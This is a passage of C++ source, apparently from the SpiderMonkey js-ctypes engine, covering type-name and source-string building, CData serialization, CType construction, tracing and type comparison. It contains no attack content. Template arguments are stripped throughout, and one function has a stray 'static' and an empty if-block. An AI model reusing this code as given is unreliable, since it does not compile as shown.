// 'ctypes.int32_t.ptr.array(4).ptr.ptr' will result in the type string // 'int32_t*(**)[4]'. static JSString* BuildTypeName(JSContext* cx, JSObject* typeObj_) { AutoString result; RootedObject typeObj(cx, typeObj_); // Walk the hierarchy of types, outermost to innermost, building up the type // string. This consists of the base type, which goes on the left. // Derived type modifiers (* and []) build from the inside outward, with // pointers on the left and arrays on the right. An excellent description // of the rules for building C type declarations can be found at: // http://unixwiz.net/techtips/reading-cdecl.html TypeCode prevGrouping = CType::GetTypeCode(typeObj), currentGrouping; while (1) { currentGrouping = CType::GetTypeCode(typeObj); switch (currentGrouping) { case TYPE_pointer: { // Pointer types go on the left. PrependString(result, "*"); typeObj = PointerType::GetBaseType(typeObj); prevGrouping = currentGrouping; continue; } case TYPE_array: { if (prevGrouping == TYPE_pointer) { // Outer type is pointer, inner type is array. Grouping is required. PrependString(result, "("); AppendString(result, ")"); } // Array types go on the right. AppendString(result, "["); size_t length; if (ArrayType::GetSafeLength(typeObj, &length)) IntegerToString(length, 10, result); AppendString(result, "]"); typeObj = ArrayType::GetBaseType(typeObj); prevGrouping = currentGrouping; continue; } case TYPE_function: { FunctionInfo* fninfo = FunctionType::GetFunctionInfo(typeObj); // Add in the calling convention, if it's not cdecl. // There's no trailing or leading space needed here, as none of the // modifiers can produce a string beginning with an identifier --- // except for TYPE_function itself, which is fine because functions // can't return functions. ABICode abi = GetABICode(fninfo->mABI); if (abi == ABI_STDCALL) PrependString(result, "__stdcall"); else if (abi == ABI_WINAPI) PrependString(result, "WINAPI"); // Function application binds more tightly than dereferencing, so // wrap pointer types in parens. Functions can't return functions // (only pointers to them), and arrays can't hold functions // (similarly), so we don't need to address those cases. if (prevGrouping == TYPE_pointer) { PrependString(result, "("); AppendString(result, ")"); } // Argument list goes on the right. AppendString(result, "("); for (size_t i = 0; i < fninfo->mArgTypes.length(); ++i) { RootedObject argType(cx, fninfo->mArgTypes[i]); JSString* argName = CType::GetName(cx, argType); AppendString(result, argName); if (i != fninfo->mArgTypes.length() - 1 || fninfo->mIsVariadic) AppendString(result, ", "); } if (fninfo->mIsVariadic) AppendString(result, "..."); AppendString(result, ")"); // Set 'typeObj' to the return type, and let the loop process it. // 'prevGrouping' doesn't matter here, because functions cannot return // arrays -- thus the parenthetical rules don't get tickled. typeObj = fninfo->mReturnType; continue; } default: // Either a basic or struct type. Use the type's name as the base type. break; } break; } // If prepending the base type name directly would splice two // identifiers, insert a space. if (('a' <= result[0] && result[0] <= 'z') || ('A' <= result[0] && result[0] <= 'Z') || (result[0] == '_')) PrependString(result, " "); // Stick the base type and derived type parts together. JSString* baseName = CType::GetName(cx, typeObj); PrependString(result, baseName); return NewUCString(cx, result); } // Given a CType 'typeObj', generate a string 'result' such that 'eval(result)' // would construct the same CType. If 'makeShort' is true, assume that any // StructType 't' is bound to an in-scope variable of name 't.name', and use // that variable in place of generating a string to construct the type 't'. // (This means the type comparison function CType::TypesEqual will return true // when comparing the input and output of BuildTypeSource, since struct // equality is determined by strict JSObject pointer equality.) static void BuildTypeSource(JSContext* cx, JSObject* typeObj_, bool makeShort, AutoString& result) { RootedObject typeObj(cx, typeObj_); // Walk the types, building up the toSource() string. switch (CType::GetTypeCode(typeObj)) { case TYPE_void_t: #define DEFINE_TYPE(name, type, ffiType) \ case TYPE_##name: #include "typedefs.h" { AppendString(result, "ctypes."); JSString* nameStr = CType::GetName(cx, typeObj); AppendString(result, nameStr); break; } case TYPE_pointer: { RootedObject baseType(cx, PointerType::GetBaseType(typeObj)); // Specialcase ctypes.voidptr_t. if (CType::GetTypeCode(baseType) == TYPE_void_t) { AppendString(result, "ctypes.voidptr_t"); break; } // Recursively build the source string, and append '.ptr'. BuildTypeSource(cx, baseType, makeShort, result); AppendString(result, ".ptr"); break; } case TYPE_function: { FunctionInfo* fninfo = FunctionType::GetFunctionInfo(typeObj); AppendString(result, "ctypes.FunctionType("); switch (GetABICode(fninfo->mABI)) { case ABI_DEFAULT: AppendString(result, "ctypes.default_abi, "); break; case ABI_STDCALL: AppendString(result, "ctypes.stdcall_abi, "); break; case ABI_WINAPI: AppendString(result, "ctypes.winapi_abi, "); break; case INVALID_ABI: JS_NOT_REACHED("invalid abi"); break; } // Recursively build the source string describing the function return and // argument types. BuildTypeSource(cx, fninfo->mReturnType, true, result); if (fninfo->mArgTypes.length() > 0) { AppendString(result, ", ["); for (size_t i = 0; i < fninfo->mArgTypes.length(); ++i) { BuildTypeSource(cx, fninfo->mArgTypes[i], true, result); if (i != fninfo->mArgTypes.length() - 1 || fninfo->mIsVariadic) AppendString(result, ", "); } if (fninfo->mIsVariadic) AppendString(result, "\"...\""); AppendString(result, "]"); } AppendString(result, ")"); break; } case TYPE_array: { // Recursively build the source string, and append '.array(n)', // where n is the array length, or the empty string if the array length // is undefined. JSObject* baseType = ArrayType::GetBaseType(typeObj); BuildTypeSource(cx, baseType, makeShort, result); AppendString(result, ".array("); size_t length; if (ArrayType::GetSafeLength(typeObj, &length)) IntegerToString(length, 10, result); AppendString(result, ")"); break; } case TYPE_struct: { JSString* name = CType::GetName(cx, typeObj); if (makeShort) { // Shorten the type declaration by assuming that StructType 't' is bound // to an in-scope variable of name 't.name'. AppendString(result, name); break; } // Write the full struct declaration. AppendString(result, "ctypes.StructType(\""); AppendString(result, name); AppendString(result, "\""); // If it's an opaque struct, we're done. if (!CType::IsSizeDefined(typeObj)) { AppendString(result, ")"); break; } AppendString(result, ", ["); const FieldInfoHash* fields = StructType::GetFieldInfo(typeObj); size_t length = fields->count(); Array fieldsArray; if (!fieldsArray.resize(length)) break; for (FieldInfoHash::Range r = fields->all(); !r.empty(); r.popFront()) fieldsArray[r.front().value.mIndex] = &r.front(); for (size_t i = 0; i < length; ++i) { const FieldInfoHash::Entry* entry = fieldsArray[i]; AppendString(result, "{ \""); AppendString(result, entry->key); AppendString(result, "\": "); BuildTypeSource(cx, entry->value.mType, true, result); AppendString(result, " }"); if (i != length - 1) AppendString(result, ", "); } AppendString(result, "])"); break; } } } // Given a CData object of CType 'typeObj' with binary value 'data', generate a // string 'result' such that 'eval(result)' would construct a CData object with // the same CType and containing the same binary value. This assumes that any // StructType 't' is bound to an in-scope variable of name 't.name'. (This means // the type comparison function CType::TypesEqual will return true when // comparing the types, since struct equality is determined by strict JSObject // pointer equality.) Further, if 'isImplicit' is true, ensure that the // resulting string can ImplicitConvert successfully if passed to another data // constructor. (This is important when called recursively, since fields of // structs and arrays are converted with ImplicitConvert.) static JSBool BuildDataSource(JSContext* cx, HandleObject typeObj, void* data, bool isImplicit, AutoString& result) { TypeCode type = CType::GetTypeCode(typeObj); switch (type) { case TYPE_bool: if (*static_cast(data)) AppendString(result, "true"); else AppendString(result, "false"); break; #define DEFINE_INT_TYPE(name, type, ffiType) \ case TYPE_##name: \ /* Serialize as a primitive decimal integer. */ \ IntegerToString(*static_cast(data), 10, result); \ break; #define DEFINE_WRAPPED_INT_TYPE(name, type, ffiType) \ case TYPE_##name: \ /* Serialize as a wrapped decimal integer. */ \ if (!numeric_limits::is_signed) \ AppendString(result, "ctypes.UInt64(\""); \ else \ AppendString(result, "ctypes.Int64(\""); \ \ IntegerToString(*static_cast(data), 10, result); \ AppendString(result, "\")"); \ break; #define DEFINE_FLOAT_TYPE(name, type, ffiType) \ case TYPE_##name: { \ /* Serialize as a primitive double. */ \ double fp = *static_cast(data); \ ToCStringBuf cbuf; \ char* str = NumberToCString(cx, &cbuf, fp); \ if (!str) { \ JS_ReportOutOfMemory(cx); \ return false; \ } \ \ result.append(str, strlen(str)); \ break; \ } #define DEFINE_CHAR_TYPE(name, type, ffiType) \ case TYPE_##name: \ /* Serialize as an integer. */ \ IntegerToString(*static_cast(data), 10, result); \ break; #include "typedefs.h" case TYPE_jschar: { // Serialize as a 1-character JS string. JSString* str = JS_NewUCStringCopyN(cx, static_cast(data), 1); if (!str) return false; // Escape characters, and quote as necessary. JSString* src = JS_ValueToSource(cx, STRING_TO_JSVAL(str)); if (!src) return false; AppendString(result, src); break; } case TYPE_pointer: case TYPE_function: { if (isImplicit) { // The result must be able to ImplicitConvert successfully. // Wrap in a type constructor, then serialize for ExplicitConvert. BuildTypeSource(cx, typeObj, true, result); AppendString(result, "("); } // Serialize the pointer value as a wrapped hexadecimal integer. uintptr_t ptr = *static_cast(data); AppendString(result, "ctypes.UInt64(\"0x"); IntegerToString(ptr, 16, result); AppendString(result, "\")"); if (isImplicit) AppendString(result, ")"); break; } case TYPE_array: { // Serialize each element of the array recursively. Each element must // be able to ImplicitConvert successfully. RootedObject baseType(cx, ArrayType::GetBaseType(typeObj)); AppendString(result, "["); size_t length = ArrayType::GetLength(typeObj); size_t elementSize = CType::GetSize(baseType); for (size_t i = 0; i < length; ++i) { char* element = static_cast(data) + elementSize * i; if (!BuildDataSource(cx, baseType, element, true, result)) return false; if (i + 1 < length) AppendString(result, ", "); } AppendString(result, "]"); break; } case TYPE_struct: { if (isImplicit) { // The result must be able to ImplicitConvert successfully. // Serialize the data as an object with properties, rather than // a sequence of arguments to the StructType constructor. AppendString(result, "{"); } // Serialize each field of the struct recursively. Each field must // be able to ImplicitConvert successfully. const FieldInfoHash* fields = StructType::GetFieldInfo(typeObj); size_t length = fields->count(); Array fieldsArray; if (!fieldsArray.resize(length)) return false; for (FieldInfoHash::Range r = fields->all(); !r.empty(); r.popFront()) fieldsArray[r.front().value.mIndex] = &r.front(); for (size_t i = 0; i < length; ++i) { const FieldInfoHash::Entry* entry = fieldsArray[i]; if (isImplicit) { AppendString(result, "\""); AppendString(result, entry->key); AppendString(result, "\": "); } char* fieldData = static_cast(data) + entry->value.mOffset; RootedObject entryType(cx, entry->value.mType); if (!BuildDataSource(cx, entryType, fieldData, true, result)) return false; if (i + 1 != length) AppendString(result, ", "); } if (isImplicit) AppendString(result, "}"); break; } case TYPE_void_t: JS_NOT_REACHED("invalid type"); break; } return true; } /******************************************************************************* ** JSAPI callback function implementations *******************************************************************************/ JSBool ConstructAbstract(JSContext* cx, unsigned argc, jsval* vp) { // Calling an abstract base class constructor is disallowed. JS_ReportError(cx, "cannot construct from abstract type"); return JS_FALSE; } /******************************************************************************* ** CType implementation *******************************************************************************/ JSBool CType::ConstructData(JSContext* cx, unsigned argc, jsval* vp) { // get the callee object... RootedObject obj(cx, JSVAL_TO_OBJECT(JS_CALLEE(cx, vp))); if (!CType::IsCType(obj)) { JS_ReportError(cx, "not a CType"); return JS_FALSE; } // How we construct the CData object depends on what type we represent. // An instance 'd' of a CData object of type 't' has: // * [[Class]] "CData" // * __proto__ === t.prototype switch (GetTypeCode(obj)) { case TYPE_void_t: JS_ReportError(cx, "cannot construct from void_t"); return JS_FALSE; case TYPE_function: JS_ReportError(cx, "cannot construct from FunctionType; use FunctionType.ptr instead"); return JS_FALSE; case TYPE_pointer: return PointerType::ConstructData(cx, obj, argc, vp); case TYPE_array: return ArrayType::ConstructData(cx, obj, argc, vp); case TYPE_struct: return StructType::ConstructData(cx, obj, argc, vp); default: return ConstructBasic(cx, obj, argc, vp); } } JSBool CType::ConstructBasic(JSContext* cx, HandleObject obj, unsigned argc, jsval* vp) { if (argc > 1) { JS_ReportError(cx, "CType constructor takes zero or one argument"); return JS_FALSE; } // construct a CData object RootedObject result(cx, CData::Create(cx, obj, NullPtr(), NULL, true)); if (!result) return JS_FALSE; if (argc == 1) { if (!ExplicitConvert(cx, JS_ARGV(cx, vp)[0], obj, CData::GetData(result))) return JS_FALSE; } JS_SET_RVAL(cx, vp, OBJECT_TO_JSVAL(result)); return JS_TRUE; } JSObject* CType::Create(JSContext* cx, HandleObject typeProto, HandleObject dataProto, TypeCode type, JSString* name_, jsval size, jsval align, ffi_type* ffiType) { RootedString name(cx, name_); RootedObject parent(cx, JS_GetParent(typeProto)); JS_ASSERT(parent); // Create a CType object with the properties and slots common to all CTypes. // Each type object 't' has: // * [[Class]] "CType" // * __proto__ === 'typeProto'; one of ctypes.{CType,PointerType,ArrayType, // StructType}.prototype // * A constructor which creates and returns a CData object, containing // binary data of the given type. // * 'prototype' property: // * [[Class]] "CDataProto" // * __proto__ === 'dataProto'; an object containing properties and // functions common to all CData objects of types derived from // 'typeProto'. (For instance, this could be ctypes.CData.prototype // for simple types, or something representing structs for StructTypes.) // * 'constructor' property === 't' // * Additional properties specified by 'ps', as appropriate for the // specific type instance 't'. RootedObject typeObj(cx, JS_NewObject(cx, &sCTypeClass, typeProto, parent)); if (!typeObj) return NULL; // Set up the reserved slots. JS_SetReservedSlot(typeObj, SLOT_TYPECODE, INT_TO_JSVAL(type)); if (ffiType) JS_SetReservedSlot(typeObj, SLOT_FFITYPE, PRIVATE_TO_JSVAL(ffiType)); if (name) JS_SetReservedSlot(typeObj, SLOT_NAME, STRING_TO_JSVAL(name)); JS_SetReservedSlot(typeObj, SLOT_SIZE, size); JS_SetReservedSlot(typeObj, SLOT_ALIGN, align); if (dataProto) { // Set up the 'prototype' and 'prototype.constructor' properties. RootedObject prototype(cx, JS_NewObject(cx, &sCDataProtoClass, dataProto, parent)); if (!prototype) return NULL; if (!JS_DefineProperty(cx, prototype, "constructor", OBJECT_TO_JSVAL(typeObj), NULL, NULL, JSPROP_READONLY | JSPROP_PERMANENT)) return NULL; // Set the 'prototype' object. //if (!JS_FreezeObject(cx, prototype)) // XXX fixme - see bug 541212! // return NULL; JS_SetReservedSlot(typeObj, SLOT_PROTO, OBJECT_TO_JSVAL(prototype)); } if (!JS_FreezeObject(cx, typeObj)) return NULL; // Assert a sanity check on size and alignment: size % alignment should always // be zero. JS_ASSERT_IF(IsSizeDefined(typeObj), GetSize(typeObj) % GetAlignment(typeObj) == 0); return typeObj; } JSObject* CType::DefineBuiltin(JSContext* cx, JSObject* parent_, const char* propName, JSObject* typeProto_, JSObject* dataProto_, const char* name, TypeCode type, jsval size, jsval align, ffi_type* ffiType) { RootedObject parent(cx, parent_); RootedObject typeProto(cx, typeProto_); RootedObject dataProto(cx, dataProto_); RootedString nameStr(cx, JS_NewStringCopyZ(cx, name)); if (!nameStr) return NULL; // Create a new CType object with the common properties and slots. RootedObject typeObj(cx, Create(cx, typeProto, dataProto, type, nameStr, size, align, ffiType)); if (!typeObj) return NULL; // Define the CType as a 'propName' property on 'parent'. if (!JS_DefineProperty(cx, parent, propName, OBJECT_TO_JSVAL(typeObj), NULL, NULL, JSPROP_ENUMERATE | JSPROP_READONLY | JSPROP_PERMANENT)) return NULL; return typeObj; } void CType::Finalize(JSFreeOp *fop, JSObject* obj) { // Make sure our TypeCode slot is legit. If it's not, bail. jsval slot = JS_GetReservedSlot(obj, SLOT_TYPECODE); if (JSVAL_IS_VOID(slot)) return; // The contents of our slots depends on what kind of type we are. switch (TypeCode(JSVAL_TO_INT(slot))) { case TYPE_function: { // Free the FunctionInfo. slot = JS_GetReservedSlot(obj, SLOT_FNINFO); if (!JSVAL_IS_VOID(slot)) FreeOp::get(fop)->delete_(static_cast(JSVAL_TO_PRIVATE(slot))); break; } case TYPE_struct: { // Free the FieldInfoHash table. slot = JS_GetReservedSlot(obj, SLOT_FIELDINFO); if (!JSVAL_IS_VOID(slot)) { void* info = JSVAL_TO_PRIVATE(slot); FreeOp::get(fop)->delete_(static_cast(info)); } } // Fall through. case TYPE_array: { // Free the ffi_type info. slot = JS_GetReservedSlot(obj, SLOT_FFITYPE); if (!JSVAL_IS_VOID(slot)) { ffi_type* ffiType = static_cast(JSVAL_TO_PRIVATE(slot)); FreeOp::get(fop)->array_delete(ffiType->elements); FreeOp::get(fop)->delete_(ffiType); } break; } default: // Nothing to do here. break; } } void CType::FinalizeProtoClass(JSFreeOp *fop, JSObject* obj) { // Finalize the CTypeProto class. The only important bit here is our // SLOT_CLOSURECX -- it contains the JSContext that was (lazily) instantiated // for use with FunctionType closures. And if we're here, in this finalizer, // we're guaranteed to not need it anymore. Note that this slot will only // be set for the object (of class CTypeProto) ctypes.FunctionType.prototype. jsval slot = JS_GetReservedSlot(obj, SLOT_CLOSURECX); if (JSVAL_IS_VOID(slot)) return; JSContext* closureCx = static_cast(JSVAL_TO_PRIVATE(slot)); JS_DestroyContextNoGC(closureCx); } void CType::Trace(JSTracer* trc, JSObject* obj) { // Make sure our TypeCode slot is legit. If it's not, bail. jsval slot = obj->getSlot(SLOT_TYPECODE); if (JSVAL_IS_VOID(slot)) return; // The contents of our slots depends on what kind of type we are. switch (TypeCode(JSVAL_TO_INT(slot))) { case TYPE_struct: { slot = obj->getReservedSlot(SLOT_FIELDINFO); if (JSVAL_IS_VOID(slot)) return; FieldInfoHash* fields = static_cast(JSVAL_TO_PRIVATE(slot)); for (FieldInfoHash::Range r = fields->all(); !r.empty(); r.popFront()) { JS_CALL_TRACER(trc, r.front().key, JSTRACE_STRING, "fieldName"); JS_CALL_TRACER(trc, r.front().value.mType, JSTRACE_OBJECT, "fieldType"); } break; } case TYPE_function: { // Check if we have a FunctionInfo. slot = obj->getReservedSlot(SLOT_FNINFO); if (JSVAL_IS_VOID(slot)) return; FunctionInfo* fninfo = static_cast(JSVAL_TO_PRIVATE(slot)); JS_ASSERT(fninfo); // Identify our objects to the tracer. JS_CALL_TRACER(trc, fninfo->mABI, JSTRACE_OBJECT, "abi"); JS_CALL_TRACER(trc, fninfo->mReturnType, JSTRACE_OBJECT, "returnType"); for (size_t i = 0; i < fninfo->mArgTypes.length(); ++i) JS_CALL_TRACER(trc, fninfo->mArgTypes[i], JSTRACE_OBJECT, "argType"); break; } default: // Nothing to do here. break; } } bool CType::IsCType(JSObject* obj) { return JS_GetClass(obj) == &sCTypeClass; } bool CType::IsCTypeProto(JSObject* obj) { return JS_GetClass(obj) == &sCTypeProtoClass; } TypeCode CType::GetTypeCode(JSObject* typeObj) { JS_ASSERT(IsCType(typeObj)); jsval result = JS_GetReservedSlot(typeObj, SLOT_TYPECODE); return TypeCode(JSVAL_TO_INT(result)); } bool CType::TypesEqual(JSObject* t1, JSObject* t2) { JS_ASSERT(IsCType(t1) && IsCType(t2)); // Fast path: check for object equality. if (t1 == t2) return true; // First, perform shallow comparison. TypeCode c1 = GetTypeCode(t1); TypeCode c2 = GetTypeCode(t2); if (c1 != c2) return false; // Determine whether the types require shallow or deep comparison. switch (c1) { case TYPE_pointer: { // Compare base types. JSObject* b1 = PointerType::GetBaseType(t1); JSObject* b2 = PointerType::GetBaseType(t2); return TypesEqual(b1, b2); } case TYPE_function: { FunctionInfo* f1 = FunctionType::GetFunctionInfo(t1); FunctionInfo* f2 = FunctionType::GetFunctionInfo(t2); // Compare abi, return type, and argument types. if (f1->mABI != f2->mABI) return false; if (!TypesEqual(f1->mReturnType, f2->mReturnType)) return false; if (f1->mArgTypes.length() != f2->mArgTypes.length()) return false; if (f1->mIsVariadic != f2->mIsVariadic) return false; for (size_t i = 0; i < f1->mArgTypes.length(); ++i) { if (!TypesEqual(f1->mArgTypes[i], f2->mArgTypes[i])) return false; } return true; } case TYPE_array: { // Compare length, then base types. // An undefined length array matches other undefined length arrays. size_t s1 = 0, s2 = 0; bool d1 = ArrayType::GetSafeLength(t1, &s1); bool d2 = ArrayType::GetSafeLength(t2, &s2); if (d1 != d2 || (d1 && s1 != s2)) return false; JSObject* b1 = ArrayType::GetBaseType(t1); JSObject* b2 = ArrayType::GetBaseType(t2); return TypesEqual(b1, b2); } case TYPE_struct: // Require exact type object equality. return false; default: // Shallow comparison is sufficient. return true; } } bool CType::GetSafeSize(JSObject* obj, size_t* result) { JS_ASSERT(CType::IsCType(obj)); jsval size = JS_GetReservedSlot(obj, SLOT_SIZE); // The "size" property can be an int, a double, or JSVAL_VOID // (for arrays of undefined length), and must always fit in a size_t. if (JSVAL_IS_INT(size)) { *result = JSVAL_TO_INT(size); return true; } if (JSVAL_IS_DOUBLE(size)) { *result = Convert(JSVAL_TO_DOUBLE(size)); return true; } JS_ASSERT(JSVAL_IS_VOID(size)); return false; } size_t CType::GetSize(JSObject* obj) { JS_ASSERT(CType::IsCType(obj)); jsval size = JS_GetReservedSlot(obj, SLOT_SIZE); JS_ASSERT(!JSVAL_IS_VOID(size)); // The "size" property can be an int, a double, or JSVAL_VOID // (for arrays of undefined length), and must always fit in a size_t. // For callers who know it can never be JSVAL_VOID, return a size_t directly. if (JSVAL_IS_INT(size)) return JSVAL_TO_INT(size); return Convert(JSVAL_TO_DOUBLE(size)); } bool CType::IsSizeDefined(JSObject* obj) { JS_ASSERT(CType::IsCType(obj)); jsval size = JS_GetReservedSlot(obj, SLOT_SIZE); // The "size" property can be an int, a double, or JSVAL_VOID // (for arrays of undefined length), and must always fit in a size_t. JS_ASSERT(JSVAL_IS_INT(size) || JSVAL_IS_DOUBLE(size) || JSVAL_IS_VOID(size)); return !JSVAL_IS_VOID(size); } size_t CType::GetAlignment(JSObject* obj) { JS_ASSERT(CType::IsCType(obj)); jsval slot = JS_GetReservedSlot(obj, SLOT_ALIGN); return static_cast(JSVAL_TO_INT(slot)); } ffi_type* CType::GetFFIType(JSContext* cx, JSObject* obj) { JS_ASSERT(CType::IsCType(obj)); jsval slot = JS_GetReservedSlot(obj, SLOT_FFITYPE); if (!JSVAL_IS_VOID(slot)) { return static_cast(JSVAL_TO_PRIVATE(slot)); } AutoPtr result; switch (CType::GetTypeCode(obj)) { case TYPE_array: result = ArrayType::BuildFFIType(cx, obj); break; case TYPE_struct: result = StructType::BuildFFIType(cx, obj); break; default: JS_NOT_REACHED("simple types must have an ffi_type"); } if (!result) return NULL; JS_SetReservedSlot(obj, SLOT_FFITYPE, PRIVATE_TO_JSVAL(result.get())); return result.forget(); } JSString* CType::GetName(JSContext* cx, JSHandleObject obj) { JS_ASSERT(CType::IsCType(obj)); jsval string = JS_GetReservedSlot(obj, SLOT_NAME); if (!JSVAL_IS_VOID(string)) return JSVAL_TO_STRING(string); // Build the type name lazily. JSString* name = BuildTypeName(cx, obj); if (!name) return NULL; JS_SetReservedSlot(obj, SLOT_NAME, STRING_TO_JSVAL(name)); return name; } JSObject* CType::GetProtoFromCtor(JSObject* obj, CTypeProtoSlot slot) { // Get ctypes.{Pointer,Array,Struct}Type.prototype from a reserved slot // on the type constructor. jsval protoslot = js::GetFunctionNativeReserved(obj, SLOT_FN_CTORPROTO); JSObject* proto = JSVAL_TO_OBJECT(protoslot); JS_ASSERT(proto); JS_ASSERT(CType::IsCTypeProto(proto)); // Get the desired prototype. jsval result = JS_GetReservedSlot(proto, slot); return JSVAL_TO_OBJECT(result); } JSObject* CType::GetProtoFromType(JSObject* obj, CTypeProtoSlot slot) { JS_ASSERT(IsCType(obj)); // Get the prototype of the type object. JSObject* proto = JS_GetPrototype(obj); JS_ASSERT(proto); JS_ASSERT(CType::IsCTypeProto(proto)); // Get the requested ctypes.{Pointer,Array,Struct,Function}Type.prototype. jsval result = JS_GetReservedSlot(proto, slot); return JSVAL_TO_OBJECT(result); } JSBool CType::PrototypeGetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp) { if (!(CType::IsCType(obj) || CType::IsCTypeProto(obj))) { JS_ReportError(cx, "not a CType or CTypeProto"); return JS_FALSE; } unsigned slot = CType::IsCTypeProto(obj) ? (unsigned) SLOT_OURDATAPROTO : (unsigned) SLOT_PROTO; vp.set(JS_GetReservedSlot(obj, slot)); JS_ASSERT(!JSVAL_IS_PRIMITIVE(vp) || JSVAL_IS_VOID(vp)); return JS_TRUE; } JSBool CType::NameGetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp) { if (!CType::IsCType(obj)) { JS_ReportError(cx, "not a CType"); return JS_FALSE; } JSString* name = CType::GetName(cx, obj); if (!name) return JS_FALSE; vp.set(STRING_TO_JSVAL(name)); return JS_TRUE; } JSBool CType::SizeGetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp) { if (!CType::IsCType(obj)) { JS_ReportError(cx, "not a CType"); return JS_FALSE; } vp.set(JS_GetReservedSlot(obj, SLOT_SIZE)); JS_ASSERT(JSVAL_IS_NUMBER(vp) || JSVAL_IS_VOID(vp)); return JS_TRUE; } JSBool CType::PtrGetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp) { if (!CType::IsCType(obj)) { JS_ReportError(cx, "not a CType"); return JS_FALSE; } JSObject* pointerType = PointerType::CreateInternal(cx, obj); if (!pointerType) return JS_FALSE; vp.set(OBJECT_TO_JSVAL(pointerType)); return JS_TRUE; } JSBool CType::CreateArray(JSContext* cx, unsigned argc, jsval* vp) { RootedObject baseType(cx, JS_THIS_OBJECT(cx, vp)); if (!baseType) return JS_FALSE; if (!CType::IsCType(baseType)) { JS_ReportError(cx, "not a CType"); return JS_FALSE; } // Construct and return a new ArrayType object. if (argc > 1) { JS_ReportError(cx, "array takes zero or one argument"); return JS_FALSE; } // Convert the length argument to a size_t. jsval* argv = JS_ARGV(cx, vp); size_t length = 0; if (argc == 1 && !jsvalToSize(cx, argv[0], false, &length)) { JS_ReportError(cx, "argument must be a nonnegative integer"); return JS_FALSE; } JSObject* result = ArrayType::CreateInternal(cx, baseType, length, argc == 1); if (!result) return JS_FALSE; JS_SET_RVAL(cx, vp, OBJECT_TO_JSVAL(result)); return JS_TRUE; } JSBool CType::ToString(JSContext* cx, unsigned argc, jsval* vp) { RootedObject obj(cx, JS_THIS_OBJECT(cx, vp)); if (!obj) return JS_FALSE; if (!CType::IsCType(obj) && !CType::IsCTypeProto(obj)) { JS_ReportError(cx, "not a CType"); return JS_FALSE; } // Create the appropriate string depending on whether we're sCTypeClass or // sCTypeProtoClass. JSString* result; if (CType::IsCType(obj)) { AutoString type; AppendString(type, "type "); AppendString(type, GetName(cx, obj)); result = NewUCString(cx, type); } else { result = JS_NewStringCopyZ(cx, "[CType proto object]"); } if (!result) return JS_FALSE; JS_SET_RVAL(cx, vp, STRING_TO_JSVAL(result)); return JS_TRUE; } JSBool CType::ToSource(JSContext* cx, unsigned argc, jsval* vp) { JSObject* obj = JS_THIS_OBJECT(cx, vp); if (!obj) return JS_FALSE; if (!CType::IsCType(obj) && !CType::IsCTypeProto(obj)) { JS_ReportError(cx, "not a CType"); return JS_FALSE; } // Create the appropriate string depending on whether we're sCTypeClass or // sCTypeProtoClass. JSString* result; if (CType::IsCType(obj)) { AutoString source; BuildTypeSource(cx, obj, false, source); result = NewUCString(cx, source); } else { result = JS_NewStringCopyZ(cx, "[CType proto object]"); } if (!result) return JS_FALSE; JS_SET_RVAL(cx, vp, STRING_TO_JSVAL(result)); return JS_TRUE; } JSBool CType::HasInstance(JSContext* cx, JSHandleObject obj, const jsval* v, JSBool* bp) { JS_ASSERT(CType::IsCType(obj)); jsval slot = JS_GetReservedSlot(obj, SLOT_PROTO); JSObject* prototype = JSVAL_TO_OBJECT(slot); JS_ASSERT(prototype); JS_ASSERT(CData::IsCDataProto(prototype)); *bp = JS_FALSE; if (JSVAL_IS_PRIMITIVE(*v)) return JS_TRUE; JSObject* proto = JSVAL_TO_OBJECT(*v); while ((proto = JS_GetPrototype(proto))) { if (proto == prototype) { *bp = JS_TRUE; break; } } return JS_TRUE; } static JSObject* CType::GetGlobalCTypes(JSContext* cx, JSObject* obj) { JS_ASSERT(CType::IsCType(obj)); JSObject *objTypeProto = JS_GetPrototype(obj); if (!objTypeProto) { } JS_ASSERT(objTypeProto); JS_ASSERT(CType::IsCTypeProto(objTypeProto)); jsval valCTypes = JS_GetReservedSlot(objTypeProto, SLOT_CTYPES); JS_ASSERT(!JSVAL_IS_PRIMITIVE(valCTypes)); return JSVAL_TO_OBJECT(valCTypes); } /******************************************************************************* ** ABI implementation *******************************************************************************/ bool ABI::IsABI(JSObject* obj) { return JS_GetClass(obj) == &sCABIClass; } JSBool ABI::ToSource(JSContext* cx, unsigned argc, jsval* vp) { if (argc != 0) { JS_ReportError(cx, "toSource takes zero arguments"); return JS_FALSE; } JSObject* obj = JS_THIS_OBJECT(cx, vp); if (!obj) return JS_FALSE; if (!ABI::IsABI(obj)) { JS_ReportError(cx, "not an ABI"); return JS_FALSE; } JSString* result; switch (GetABICode(obj)) { case ABI_DEFAULT: result = JS_NewStringCopyZ(cx, "ctypes.default_abi"); break; case ABI_STDCALL: result = JS_NewStringCopyZ(cx, "ctypes.stdcall_abi"); break; case ABI_WINAPI: result = JS_NewStringCopyZ(cx, "ctypes.winapi_abi"); break; default: JS_ReportError(cx, "not a valid ABICode"); return JS_FALSE; } if (!result) return JS_FALSE; JS_SET_RVAL(cx, vp, STRING_TO_JSVAL(result)); return JS_TRUE; } /******************************************************************************* ** PointerType implementation *******************************************************************************/ JSBool PointerType::Create(JSContext* cx, unsigned argc, jsval* vp) { // Construct and return a new PointerType object. if (argc != 1) { JS_ReportError(cx, "PointerType takes one argument"); return JS_FALSE; } jsval arg = JS_ARGV(cx, vp)[0]; RootedObject obj(cx); if (JSVAL_IS_PRIMITIVE(arg) || !CType::IsCType(obj = JSVAL_TO_OBJECT(arg))) { JS_ReportError(cx, "first argument must be a CType"); return JS_FALSE; } JSObject* result = CreateInternal(cx, obj); if (!result) return JS_FALSE; JS_SET_RVAL(cx, vp, OBJECT_TO_JSVAL(result)); return JS_TRUE; } JSObject* PointerType::CreateInternal(JSContext* cx, HandleObject baseType) { // check if we have a cached PointerType on our base CType. jsval slot = JS_GetReservedSlot(baseType, SLOT_PTR); if (!JSVAL_IS_VOID(slot)) return JSVAL_TO_OBJECT(slot); // Get ctypes.PointerType.prototype and the common prototype for CData objects // of this type, or ctypes.FunctionType.prototype for function pointers. CTypeProtoSlot slotId = CType::GetTypeCode(baseType) == TYPE_function ? SLOT_FUNCTIONDATAPROTO : SLOT_POINTERDATAPROTO; RootedObject dataProto(cx, CType::GetProtoFromType(baseType, slotId)); RootedObject typeProto(cx, CType::GetProtoFromType(baseType, SLOT_POINTERPROTO)); // Create a new 